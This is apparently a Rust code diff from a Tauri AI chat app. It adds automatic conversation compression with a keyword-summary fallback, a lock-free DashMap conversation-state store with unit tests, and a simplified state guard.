/// 不参与压缩,避免压缩正在使用的活跃消息。
|
||||||
|
const PROTECT_COUNT: usize = 6;
|
||||||
|
|
||||||
|
/// 改进3 B 常量开关:压缩失败时是否启用关键词摘要兜底(默认 true)。
|
||||||
|
///
|
||||||
|
/// true(默认):LLM 压缩失败 → compress_old_messages 标 compressed(释放 token)
|
||||||
|
/// + insert_at(0, system 关键词摘要),保留用户反复提及的主题词作续接锚点。
|
||||||
|
/// false(回退):回退原裸裁剪行为(不插关键词摘要,仅 build_for_request 裁剪保最近 6 条)。
|
||||||
|
/// 排障/对比用:置 false 即可观察无兜底时的裁剪效果。
|
||||||
|
const KEYWORD_FALLBACK_ENABLED: bool = true;
|
||||||
|
|
||||||
|
/// F-15 阶段3: 自动压缩(智能裁剪)——在 build_for_request 之前预处理。
|
||||||
|
///
|
||||||
|
/// 从 `run_agentic_loop` 抽取,行为零变更。返回值:
|
||||||
|
/// - `true`:conv 已删除,调用方应立即 `return`(退出整个 loop)。
|
||||||
|
/// - `false`:正常结束(无论是否触发压缩、压缩是否成功),调用方继续后续流程。
|
||||||
|
///
|
||||||
|
/// 参数沿用原内联代码引用的局部:
|
||||||
|
/// - `provider`:loop 顶部 build 的 provider(F-04b 切换 candidate 后由调用方传入最新)。
|
||||||
|
/// - `provider_config`:同上,compress 沿用主 candidate(非 fallback 范围)。
|
||||||
|
/// - `iteration`:当前轮次(仅用于日志)。
|
||||||
|
pub(super) async fn maybe_auto_compress(
|
||||||
|
session_arc: &Arc<Mutex<AiSession>>,
|
||||||
|
conv_id: &str,
|
||||||
|
app_handle: &AppHandle,
|
||||||
|
provider: &Box<dyn LlmProvider>,
|
||||||
|
provider_config: &AiProviderRecord,
|
||||||
|
llm_concurrency: &LlmConcurrency,
|
||||||
|
iteration: usize,
|
||||||
|
) -> bool {
|
||||||
|
let prev_compressing = session_arc.lock().await.conv_read(&conv_id).map(|c| c.messages.is_compressing()).unwrap_or(false);
|
||||||
|
if !prev_compressing {
|
||||||
|
// 读触发条件(history_tokens / budget / has_compressible_messages),持锁快照判断。
|
||||||
|
let (should_compress, protect_start, pre_compress_tokens) = {
|
||||||
|
let session = session_arc.lock().await;
|
||||||
|
let mgr = match session.conv_read(&conv_id) {
|
||||||
|
Some(c) => c,
|
||||||
|
None => {
|
||||||
|
tracing::warn!(stale_conv = %conv_id, "[ai] conv 已删除,loop 退出(压缩段入口)");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let mgr = &mgr.messages;
|
||||||
|
let protect_start = mgr.len().saturating_sub(PROTECT_COUNT);
|
||||||
|
let history_tokens = mgr.history_tokens();
|
||||||
|
let budget = mgr.budget_limit();
|
||||||
|
// 触发阈值 0.6*budget(整数比避免浮点):budget*6/10 < history_tokens
|
||||||
|
let should = protect_start > 0
|
||||||
|
&& (budget as u64) * 6 / 10 < history_tokens as u64
|
||||||
|
&& mgr.has_compressible_messages(protect_start);
|
||||||
|
(should, protect_start, history_tokens)
|
||||||
|
};
|
||||||
|
|
||||||
|
if should_compress {
|
||||||
|
// emit 压缩开始 + 置位防重入 + 读 active 克隆(不改 status)。
|
||||||
|
let ev = AiChatEvent::AiCompressing {
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
};
|
||||||
|
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
||||||
|
// L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp
|
||||||
|
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
let (active_msgs, lang) = {
|
||||||
|
let mut session = session_arc.lock().await;
|
||||||
|
let conv = session.conv(&conv_id);
|
||||||
|
conv.messages.set_compressing(true);
|
||||||
|
// 读 active 克隆(不改 status):filter is_active,LLM 失败则消息状态完全不变。
|
||||||
|
let active_msgs: Vec<ChatMessage> = conv.messages.messages_mut()
|
||||||
|
[..protect_start]
|
||||||
|
.iter()
|
||||||
|
.filter(|t| t.message.is_active())
|
||||||
|
.map(|t| t.message.clone())
|
||||||
|
.collect();
|
||||||
|
let lang = conv.agent_language.clone()
|
||||||
|
.unwrap_or_else(|| "zh-CN".to_string());
|
||||||
|
(active_msgs, lang)
|
||||||
|
};
|
||||||
|
|
||||||
|
// 改进3 B:在 active_msgs move 进 compress_via_llm 前,先算关键词摘要兜底文本。
|
||||||
|
// LLM 压缩失败时仍想保留用户反复提及的主题词(续接锚点),避免裸裁剪丢主题。
|
||||||
|
// KEYWORD_FALLBACK_ENABLED=false → 跳过(回退原裸裁剪行为,排障/对比用)。
|
||||||
|
let keyword_fallback: String = if KEYWORD_FALLBACK_ENABLED {
|
||||||
|
extract_keyword_summary(&active_msgs)
|
||||||
|
} else {
|
||||||
|
String::new()
|
||||||
|
};
|
||||||
|
|
||||||
|
// 压缩调用(复用 loop 顶部已 build 的 provider,api_key 经 secret 闭环)。
|
||||||
|
// 成功 → Some(summary);失败 → Err;无 active 可压缩(active_msgs 空)→ 视为 noop。
|
||||||
|
let compress_outcome: Result<Option<String>, String> = if active_msgs.is_empty() {
|
||||||
|
Ok(None)
|
||||||
|
} else {
|
||||||
|
compress_via_llm(
|
||||||
|
provider.as_ref(),
|
||||||
|
provider_config,
|
||||||
|
active_msgs,
|
||||||
|
&lang,
|
||||||
|
conv_id,
|
||||||
|
llm_concurrency,
|
||||||
|
).await.map(Some)
|
||||||
|
};
|
||||||
|
|
||||||
|
match compress_outcome {
|
||||||
|
Ok(Some(summary)) => {
|
||||||
|
// LLM 成功 → 标 compressed(扣 token)+ 摘要 system 插首位 + set_compressing(false)。
|
||||||
|
// compress_old_messages 幂等:此时 status 仍是 active(本流程未先标),它会把
|
||||||
|
// [..protect_start] 内 active 标 compressed 并扣 token。返回的 cloned 与之前读的
|
||||||
|
// active_msgs 等价(LLM 调用期间 messages 不变,见上方口径决策注)。
|
||||||
|
{
|
||||||
|
let mut session = session_arc.lock().await;
|
||||||
|
let conv = session.conv(&conv_id);
|
||||||
|
let _compressed = conv.messages.compress_old_messages(protect_start);
|
||||||
|
conv.messages.insert_at(0, ChatMessage::system(&summary));
|
||||||
|
conv.messages.set_compressing(false);
|
||||||
|
}
|
||||||
|
tracing::info!(
|
||||||
|
conv_id = %conv_id,
|
||||||
|
iteration,
|
||||||
|
pre_tokens = pre_compress_tokens,
|
||||||
|
"[ai] 自动压缩成功,摘要已插首位"
|
||||||
|
);
|
||||||
|
// 治 Task#1:loop 自动压缩用 AiAutoCompressed(非手动变体),
|
||||||
|
// 桌面端静默(仅复位 isCompressing,不弹 toast 不 switchConversation)。
|
||||||
|
// miniapp 仍插摘要气泡(对端发生压缩告知用户)。
|
||||||
|
let ev = AiChatEvent::AiAutoCompressed {
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
summary,
|
||||||
|
};
|
||||||
|
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
||||||
|
// L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp
|
||||||
|
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
}
|
||||||
|
Ok(None) => {
|
||||||
|
// 保护区外无 active 可压缩(已全 compressed/archived)→ noop,仅复位 is_compressing。
|
||||||
|
session_arc.lock().await.conv(&conv_id).messages.set_compressing(false);
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
// LLM 失败 → 改进3 B:仍标 compressed 释放 token + 关键词摘要塞回首条(非裸裁剪)。
|
||||||
|
//
|
||||||
|
// 旧行为:消息状态完全不变,降级走 build_for_request 裁剪(丢主题)。
|
||||||
|
// 新行为(KEYWORD_FALLBACK_ENABLED=true 默认):
|
||||||
|
// - compress_old_messages 标 [..protect_start] active 为 compressed(释放 token,
|
||||||
|
// 与成功路径一致,后续 build_for_request 不再把它们进 LLM 上下文);
|
||||||
|
// - keyword_fallback 非空 → insert_at(0, system 关键词摘要)作续接锚点;
|
||||||
|
// - keyword_fallback 空(无 user 消息/无可提取词)→ 不插,等价旧裁剪(保底)。
|
||||||
|
// 持久化语义不变:compressed 仍软删可追溯(DB 全量保留),与成功路径一致。
|
||||||
|
// KEYWORD_FALLBACK_ENABLED=false → 跳过兜底,等价旧行为(set_compressing(false) +
|
||||||
|
// 消息状态不变,降级 build_for_request 裁剪)。
|
||||||
|
session_arc.lock().await.conv(&conv_id).messages.set_compressing(false);
|
||||||
|
tracing::warn!(
|
||||||
|
conv_id = %conv_id,
|
||||||
|
error = %e,
|
||||||
|
keyword_fallback_len = keyword_fallback.len(),
|
||||||
|
"[ai] 自动压缩失败,降级走关键词摘要兜底(KEYWORD_FALLBACK_ENABLED={})",
|
||||||
|
KEYWORD_FALLBACK_ENABLED,
|
||||||
|
);
|
||||||
|
if KEYWORD_FALLBACK_ENABLED {
|
||||||
|
// 标 compressed 释放 token + 关键词摘要塞首位(若非空)。
|
||||||
|
let inserted = {
|
||||||
|
let mut session = session_arc.lock().await;
|
||||||
|
let conv = session.conv(&conv_id);
|
||||||
|
let _compressed = conv.messages.compress_old_messages(protect_start);
|
||||||
|
if !keyword_fallback.is_empty() {
|
||||||
|
conv.messages.insert_at(0, ChatMessage::system(&keyword_fallback));
|
||||||
|
true
|
||||||
|
} else {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
};
|
||||||
|
if inserted {
|
||||||
|
tracing::info!(
|
||||||
|
conv_id = %conv_id,
|
||||||
|
pre_tokens = pre_compress_tokens,
|
||||||
|
"[ai] 压缩失败兜底:关键词摘要已插首位(compressed 标记已扣 token)"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// BUG-260624-05:压缩失败不发 AiError——前端 AiError case 无条件 setStreaming(false)
|
||||||
|
// 误判生成结束(后端 loop 实际继续),致"压缩后停止"。降级为 warn(上方 line 957 已有)
|
||||||
|
// + compress_old_messages 兜底释放 token + build_for_request 裁剪,loop 继续 stream_llm,
|
||||||
|
// 用户自然看到后续回复。压缩降级对用户透明(非致命错误,不该停流)。
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}
|
||||||
@@ -191,6 +191,112 @@ impl std::fmt::Display for InvalidTransition {
|
|||||||
|
|
||||||
impl std::error::Error for InvalidTransition {}
|
impl std::error::Error for InvalidTransition {}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// ConvStateStore — 无锁并发 ConvState 存储(session 锁重构方案 B-Phase0)
|
||||||
|
//
|
||||||
|
// 背景:AiSession 全局 Mutex 把 ConvState(高频读 + 敏感脏读)与 messages/pending_approvals
|
||||||
|
// (长持锁源)同锁串行化,致 guard.reset 等 lock 竞争 800ms fallback(AiCompleted 延迟 / 工具后
|
||||||
|
// 中断 / 第二条进队列同源根因)。本 Store 把 ConvState 提到独立 DashMap,guard.reset/new/drop
|
||||||
|
// 直接 transition(同步无 await,不竞争 session lock),ai_is_generating 直接读(零锁竞争)。
|
||||||
|
//
|
||||||
|
// 设计:
|
||||||
|
// - 基于 dashmap::DashMap<String, ConvState>(行级锁,不同 conv 不互斥,无 tokio runtime 阻塞)
|
||||||
|
// - 全方法同步无 await(transition 内仅 copy + write enum,纳秒级)
|
||||||
|
// - transition 经 ConvState::transition_to 守卫(复用状态机语义,非法转换拒绝)
|
||||||
|
// - get 对不存在的 conv_id 返 Idle(惰性默认,对齐 PerConvState 新建语义)
|
||||||
|
//
|
||||||
|
// 方案 B 分阶段迁移完成。
|
||||||
|
// - Phase0~1: ConvStateStore 骨架 + AppState 接入
|
||||||
|
// - Phase2~3: 写/读侧迁移至无锁 ConvStateStore,PerConvState.conv_state 字段已删
|
||||||
|
// - Phase4: conversation_delete 同步清理 conv_states 条目
|
||||||
|
// ============================================================
|
||||||
|
|
||||||
|
use dashmap::DashMap;
|
||||||
|
|
||||||
|
/// ConvState 的无锁并发存储(方案 B 核心)。
|
||||||
|
///
|
||||||
|
/// 经 `Arc<ConvStateStore>` 共享(app_state.conv_states)。所有方法同步无 await,可在任意
|
||||||
|
/// async 上下文直接调(不竞争 session lock,不阻塞 tokio runtime)。
|
||||||
|
///
|
||||||
|
/// 注:`transition` 用 DashMap entry 原子(get + transition_to + write 一致,无 TOCTOU 窗口)。
|
||||||
|
pub struct ConvStateStore {
|
||||||
|
inner: DashMap<String, ConvState>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ConvStateStore {
|
||||||
|
/// 创建空 Store。
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self { inner: DashMap::new() }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 读 conv_id 的 ConvState(不存在返 Idle 默认,对齐 PerConvState 新建语义)。
|
||||||
|
pub fn get(&self, conv_id: &str) -> ConvState {
|
||||||
|
self.inner.get(conv_id).map(|r| *r.value()).unwrap_or(ConvState::Idle)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 读 conv_id 是否活跃生成态(Generating/Compressed)—— ai_is_generating 零锁读。
|
||||||
|
pub fn is_active(&self, conv_id: &str) -> bool {
|
||||||
|
self.get(conv_id).is_active()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 读 conv_id 是否可接受新请求(Idle/Error)—— can_accept_request 零锁读。
|
||||||
|
pub fn can_accept_request(&self, conv_id: &str) -> bool {
|
||||||
|
self.get(conv_id).can_accept_request()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 原子迁移 conv_id 的 ConvState 到 target(经 transition_to 守卫)。
|
||||||
|
///
|
||||||
|
/// DashMap entry 原子(get + transition + write 一致,无 TOCTOU)。不存在的 conv_id 视为
|
||||||
|
/// Idle(对齐新建语义),Idle→target 经守卫。返回 Ok(新态) 或 Err(InvalidTransition)。
|
||||||
|
pub fn transition(
|
||||||
|
&self,
|
||||||
|
conv_id: &str,
|
||||||
|
target: ConvState,
|
||||||
|
) -> Result<ConvState, InvalidTransition> {
|
||||||
|
// get_mut 持写锁原子迁移(Occupied);Vacant 时 insert(Idle 起步)。
|
||||||
|
// 注:transition 调用点(guard.new/reset/drop)同 conv 单 loop 不并发,TOCTOU 风险低;
|
||||||
|
// 跨 conv 各自条目行级锁不互斥(对齐 DashMap 设计)。
|
||||||
|
if let Some(mut r) = self.inner.get_mut(conv_id) {
|
||||||
|
let cur = *r.value();
|
||||||
|
match cur.transition_to(target) {
|
||||||
|
Ok(ns) => {
|
||||||
|
*r.value_mut() = ns;
|
||||||
|
Ok(ns)
|
||||||
|
}
|
||||||
|
Err(e) => Err(e),
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
match ConvState::Idle.transition_to(target) {
|
||||||
|
Ok(ns) => {
|
||||||
|
self.inner.insert(conv_id.to_string(), ns);
|
||||||
|
Ok(ns)
|
||||||
|
}
|
||||||
|
Err(e) => Err(e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 删除 conv_id 的条目(会话删除时同步清,防已删 conv 残留 Generating 致 id 复用脏状态)。
|
||||||
|
pub fn remove(&self, conv_id: &str) {
|
||||||
|
self.inner.remove(conv_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 所有活跃生成态的 conv_id 快照(L0 握手批量 stop / 恢复生成态用)。
|
||||||
|
pub fn active_convs(&self) -> Vec<String> {
|
||||||
|
self.inner
|
||||||
|
.iter()
|
||||||
|
.filter(|r| r.value().is_active())
|
||||||
|
.map(|r| r.key().clone())
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for ConvStateStore {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self::new()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// 单元测试(纯逻辑无 IO)
|
// 单元测试(纯逻辑无 IO)
|
||||||
// ============================================================
|
// ============================================================
|
||||||
@@ -458,4 +564,60 @@ mod tests {
|
|||||||
assert!(msg.contains("Idle"), "Display 应含 from: {}", msg);
|
assert!(msg.contains("Idle"), "Display 应含 from: {}", msg);
|
||||||
assert!(msg.contains("Stopping"), "Display 应含 to: {}", msg);
|
assert!(msg.contains("Stopping"), "Display 应含 to: {}", msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---- ConvStateStore(方案 B-Phase0,无锁并发存储)----
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_store_get_default_idle() {
|
||||||
|
let s = ConvStateStore::new();
|
||||||
|
assert_eq!(s.get("conv-1"), ConvState::Idle, "不存在 conv 应返 Idle 默认");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_store_transition_occupied() {
|
||||||
|
let s = ConvStateStore::new();
|
||||||
|
s.transition("conv-1", ConvState::Generating).unwrap();
|
||||||
|
assert_eq!(s.get("conv-1"), ConvState::Generating);
|
||||||
|
s.transition("conv-1", ConvState::Idle).unwrap();
|
||||||
|
assert_eq!(s.get("conv-1"), ConvState::Idle);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_store_transition_guard_rejects() {
|
||||||
|
let s = ConvStateStore::new();
|
||||||
|
s.transition("conv-1", ConvState::Generating).unwrap();
|
||||||
|
// Generating → Stopping 合法
|
||||||
|
s.transition("conv-1", ConvState::Stopping).unwrap();
|
||||||
|
// Stopping → Generating 非法(须先回 Idle 再起)
|
||||||
|
assert!(s.transition("conv-1", ConvState::Generating).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_store_remove() {
|
||||||
|
let s = ConvStateStore::new();
|
||||||
|
s.transition("conv-1", ConvState::Generating).unwrap();
|
||||||
|
s.remove("conv-1");
|
||||||
|
assert_eq!(s.get("conv-1"), ConvState::Idle, "remove 后应返 Idle 默认");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_store_is_active_and_can_accept() {
|
||||||
|
let s = ConvStateStore::new();
|
||||||
|
assert!(!s.is_active("conv-1"), "Idle 不活跃");
|
||||||
|
assert!(s.can_accept_request("conv-1"), "Idle 可接");
|
||||||
|
s.transition("conv-1", ConvState::Generating).unwrap();
|
||||||
|
assert!(s.is_active("conv-1"), "Generating 活跃");
|
||||||
|
assert!(!s.can_accept_request("conv-1"), "Generating 不可接");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_store_active_convs() {
|
||||||
|
let s = ConvStateStore::new();
|
||||||
|
s.transition("a", ConvState::Generating).unwrap();
|
||||||
|
s.transition("b", ConvState::Idle).unwrap();
|
||||||
|
s.transition("c", ConvState::Generating).unwrap();
|
||||||
|
let mut active = s.active_convs();
|
||||||
|
active.sort();
|
||||||
|
assert_eq!(active, vec!["a".to_string(), "c".to_string()], "仅活跃 conv");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,218 +1,88 @@
|
|||||||
//! B-260615-09: generating 状态 RAII guard —— 从 agentic/mod.rs 抽离(重构第一批,纯结构搬迁)。
|
//! generating 状态 RAII guard。
|
||||||
//!
|
//!
|
||||||
//! 行为零变更:仅文件位置移动,逻辑/字段/语义完全保留。
|
//! B-Phase2: ConvState 切无锁 ConvStateStore(不竞争 session lock,删 800ms fallback)。
|
||||||
//! 调用方(agentic/mod.rs run_agentic_loop)经 `use super::guard::GeneratingGuard;` 复用。
|
//! 治卡死连环:AiCompleted 延迟 / 工具后中断 / 第二条进队列同源根因。
|
||||||
|
|
||||||
use std::sync::Arc;
|
|
||||||
|
|
||||||
use tauri::{AppHandle, Emitter, Manager};
|
use tauri::{AppHandle, Emitter, Manager};
|
||||||
use tokio::sync::Mutex;
|
|
||||||
|
|
||||||
use crate::commands::ai::{AiChatEvent, AiSession};
|
use crate::commands::ai::AiChatEvent;
|
||||||
|
|
||||||
// 双轨收口批2:CONV_STATE_ENABLED 常量删除后,模块路径(self)不再使用,仅导入 ConvState 类型。
|
|
||||||
use super::conv_state::ConvState;
|
use super::conv_state::ConvState;
|
||||||
|
|
||||||
/// generating 复位 RAII guard,取代散布的手动 `session.generating = false`。
|
/// generating 复位 RAII guard。
|
||||||
///
|
///
|
||||||
/// 两路复位:
|
/// ConvState 经无锁 [`ConvStateStore`](super::conv_state::ConvStateStore) 迁移(不竞争 session
|
||||||
/// - 正常路径:exit 点显式 `reset().await` 即时复位(emit 前调,保证"复位→emit"顺序,
|
/// lock)。正常退出显式 `reset()`;异常退出 `Drop` 兜底迁移 Idle。`disarm` 解除 Drop 兜底
|
||||||
/// 前端收事件时后端已可接下一条)。
|
/// (审批等待保持 Generating,续跑新 guard.new 重新迁移)。
|
||||||
/// - 异常路径(panic/未走正常 return):Drop 兜底 spawn 复位,防 generating 永真卡死前端。
|
|
||||||
///
|
|
||||||
/// 注:try_continue_agent_loop 不用 guard——其 should_continue=false 路径需保持
|
|
||||||
/// generating=true(审批等待态),全函数 guard 会误复位;该函数单点 provider-Err 复位保持手动。
|
|
||||||
///
|
|
||||||
/// F-260616-09 B 批4:guard 持 `conv_id`,复位改写 `session.conv(&conv_id).generating = false`
|
|
||||||
/// (per-conv 唯一真相源)。顶层 `session.generating` 字段已在批4 删除,reset/Drop 仅写 per_conv;
|
|
||||||
/// IPC(ai_is_generating/ai_chat_send 等)亦改读 per_conv,无需双写桥接。
|
|
||||||
///
|
|
||||||
/// L2 统一状态机收尾(2026-06-22):本地 `state: Option<ConvState>` 视图层冗余字段已删除。
|
|
||||||
///
|
|
||||||
/// 背景:批1 曾在 guard 内嵌 `state` 作「写收敛视图层」(双轨过渡),批2 已把 `ConvState` 落到
|
|
||||||
/// `PerConvState.conv_state` 字段持久化(读侧真相源)。批2 同时在 `reset`/`drop` 内读
|
|
||||||
/// `conv.conv_state` 持久化字段做迁移 + emit AiConvStateChanged——故本地 `state` 成纯冗余
|
|
||||||
/// (双源,且本地 state 在 Drop 无 await 上下文无法持久化,语义本就不完整)。
|
|
||||||
///
|
|
||||||
/// 收尾删除后:
|
|
||||||
/// - `new`:读 `conv.conv_state` 持久化字段,若 Idle→Generating 迁移成功则 emit 通知前端
|
|
||||||
/// (入口 `run_agentic_loop` 已独立写持久化迁移但**不 emit**,故此处补 emit 防前端漏收生成态)。
|
|
||||||
/// - `reset`/`drop`:迁移 + emit 均读 `conv.conv_state` 持久化字段(批2 已落地,本批仅删冗余本地块)。
|
|
||||||
/// - `disarm`:不动 ConvState(审批等待是 Generating 内的暂停点)。
|
|
||||||
///
|
|
||||||
/// 批3 双轨收口:`CONV_STATE_ENABLED` 开关与 `generating` bool 已退役,enum 迁移 + emit
|
|
||||||
/// 无条件执行(单一真相源,无 off 降级分支)。
|
|
||||||
pub(super) struct GeneratingGuard {
|
pub(super) struct GeneratingGuard {
|
||||||
session: Arc<Mutex<AiSession>>,
|
|
||||||
/// guard 所属会话(loop 启动时快照的 conv_id,来自 run_agentic_loop 入参)。
|
|
||||||
conv_id: String,
|
conv_id: String,
|
||||||
done: bool,
|
done: bool,
|
||||||
/// L2 批2 1b:emit AiConvStateChanged 用的 AppHandle(Clone 廉价,run_agentic_loop 入参传入)。
|
|
||||||
/// 批3 收口:emit 无条件执行(开关已退役),此字段恒被消费。
|
|
||||||
app_handle: AppHandle,
|
app_handle: AppHandle,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl GeneratingGuard {
|
impl GeneratingGuard {
|
||||||
pub(super) fn new(session: Arc<Mutex<AiSession>>, conv_id: String, app_handle: AppHandle) -> Self {
|
pub(super) fn new(conv_id: String, app_handle: AppHandle) -> Self {
|
||||||
// L2 收尾:入口 `run_agentic_loop` 已独立完成 Idle→Generating 的持久化迁移(写 conv.conv_state),
|
let guard = Self {
|
||||||
// 但**不 emit** AiConvStateChanged。此处补 emit 通知前端进入生成态——读 conv.conv_state
|
conv_id,
|
||||||
// 持久化字段(真相源)做迁移校验,迁移成功则 emit,非法记 warn 不阻断。
|
done: false,
|
||||||
//
|
app_handle: app_handle.clone(),
|
||||||
// 注:new 是同步函数(无 await),无法持 session 锁读 conv.conv_state;此处经
|
|
||||||
// tauri::async_runtime::spawn 异步补 emit(非阻塞 guard 创建,入口持久化已发生故 emit 有据)。
|
|
||||||
// spawn 失败(运行时不可用,理论场景)仅漏一次 emit,前端 watchdog 兜底(对齐失败不阻断核心生成)。
|
|
||||||
// 批3 双轨收口:删除 CONV_STATE_ENABLED 门控,迁移 + emit 无条件执行(enum 单一真相源)。
|
|
||||||
// 注:clone 给闭包 move,原始 session/app_handle 留给 Self 字段(对齐原 if 块外 Self 构造)。
|
|
||||||
let session_for_spawn = session.clone();
|
|
||||||
let app_handle_for_spawn = app_handle.clone();
|
|
||||||
let cid = conv_id.clone();
|
|
||||||
tauri::async_runtime::spawn(async move {
|
|
||||||
let new_state = {
|
|
||||||
let mut session = session_for_spawn.lock().await;
|
|
||||||
let conv = session.conv(&cid);
|
|
||||||
match conv.conv_state.transition_to(ConvState::Generating) {
|
|
||||||
Ok(ns) => {
|
|
||||||
conv.conv_state = ns;
|
|
||||||
ns
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!(
|
|
||||||
conv_id = %cid,
|
|
||||||
error = %e,
|
|
||||||
"[ai] guard.new ConvState→Generating 非法(持久化层,不阻断核心生成)"
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
// 持久化层迁移成功后 emit 前端(同步,失败忽略)。锁已随作用域 drop,可安全 emit。
|
guard.transition(ConvState::Generating);
|
||||||
// L3 emit 双写:提变量避免构造两次,publish 到事件总线(EVENT_BUS_ENABLED 门控在 publish 内)。
|
guard
|
||||||
let ev = AiChatEvent::AiConvStateChanged {
|
|
||||||
conv_state: new_state,
|
|
||||||
conversation_id: Some(cid),
|
|
||||||
};
|
|
||||||
let _ = app_handle_for_spawn.emit("ai-chat-event", ev.clone());
|
|
||||||
let _ = app_handle_for_spawn.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
|
||||||
});
|
|
||||||
Self { session, conv_id, done: false, app_handle }
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// 显式复位生成态。emit 前调用保证顺序。幂等。
|
/// 复位 Idle(emit 前调,保证前端收事件时后端已 Idle)。幂等。
|
||||||
///
|
|
||||||
/// 批3 双轨收口:generating bool 已退役,复位经 ConvState 迁移(Generating→Idle)单一表达。
|
|
||||||
/// L2:同步迁移 `conv.conv_state → Idle`(持久化层,迁移 + emit 无条件执行)。
|
|
||||||
pub(super) async fn reset(&mut self) {
|
pub(super) async fn reset(&mut self) {
|
||||||
if !self.done {
|
if !self.done {
|
||||||
let mut session = self.session.lock().await;
|
|
||||||
let conv = session.conv(&self.conv_id);
|
|
||||||
// L2 批2:ConvState 持久化(Generating→Idle 写收敛)。批3 删除开关门控,迁移无条件执行。
|
|
||||||
match conv.conv_state.transition_to(ConvState::Idle) {
|
|
||||||
Ok(ns) => {
|
|
||||||
conv.conv_state = ns;
|
|
||||||
// L2 批2 1b:持久化层 Idle 收敛成功后 emit 前端(同步,失败忽略)。
|
|
||||||
// L3 emit 双写:提变量避免构造两次,publish 到事件总线(EVENT_BUS_ENABLED 门控在 publish 内)。
|
|
||||||
let ev = AiChatEvent::AiConvStateChanged {
|
|
||||||
conv_state: ns,
|
|
||||||
conversation_id: Some(self.conv_id.clone()),
|
|
||||||
};
|
|
||||||
let _ = self.app_handle.emit("ai-chat-event", ev.clone());
|
|
||||||
let _ = self.app_handle.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
|
||||||
}
|
|
||||||
Err(e) => tracing::warn!(
|
|
||||||
conv_id = %self.conv_id,
|
|
||||||
error = %e,
|
|
||||||
"[ai] guard.reset ConvState→Idle 非法(持久化层,不阻断核心复位)"
|
|
||||||
),
|
|
||||||
}
|
|
||||||
self.done = true;
|
self.done = true;
|
||||||
|
self.transition(ConvState::Idle);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// 解除 Drop 兜底复位但不复位 generating。审批等待 return 路径调用:
|
/// 解除 Drop 兜底(审批等待保持 Generating)。
|
||||||
/// 保持 generating=true 留 try_continue 续生成,同时 Drop 因 done=true 跳过复位 spawn。
|
|
||||||
/// (B-260615-26: 修复审批执行后对话不续生成回归)
|
|
||||||
///
|
|
||||||
/// L2:disarm 不迁移 ConvState(审批等待是 Generating 内的暂停点,ConvState 仍 Generating,
|
|
||||||
/// 与「generating 保持 true」语义一致)。续跑时新 guard.new 重新迁移(Generating 自环幂等)。
|
|
||||||
pub(super) fn disarm(&mut self) {
|
pub(super) fn disarm(&mut self) {
|
||||||
self.done = true;
|
self.done = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 迁移 ConvState + emit AiConvStateChanged(经无锁 ConvStateStore,同步无 await)。
|
||||||
|
fn transition(&self, target: ConvState) {
|
||||||
|
let conv_states = self
|
||||||
|
.app_handle
|
||||||
|
.state::<crate::state::AppState>()
|
||||||
|
.conv_states
|
||||||
|
.clone();
|
||||||
|
let ev = match conv_states.transition(&self.conv_id, target) {
|
||||||
|
Ok(ns) => Some(AiChatEvent::AiConvStateChanged {
|
||||||
|
conv_state: ns,
|
||||||
|
conversation_id: Some(self.conv_id.clone()),
|
||||||
|
}),
|
||||||
|
Err(e) => {
|
||||||
|
tracing::warn!(
|
||||||
|
conv_id = %self.conv_id,
|
||||||
|
error = %e,
|
||||||
|
"[ai] guard ConvState 迁移非法"
|
||||||
|
);
|
||||||
|
None
|
||||||
|
}
|
||||||
|
};
|
||||||
|
if let Some(ev) = ev {
|
||||||
|
let _ = self.app_handle.emit("ai-chat-event", ev.clone());
|
||||||
|
let _ = self
|
||||||
|
.app_handle
|
||||||
|
.state::<crate::state::AppState>()
|
||||||
|
.ai_event_bus
|
||||||
|
.publish_event(ev);
|
||||||
|
}
|
||||||
|
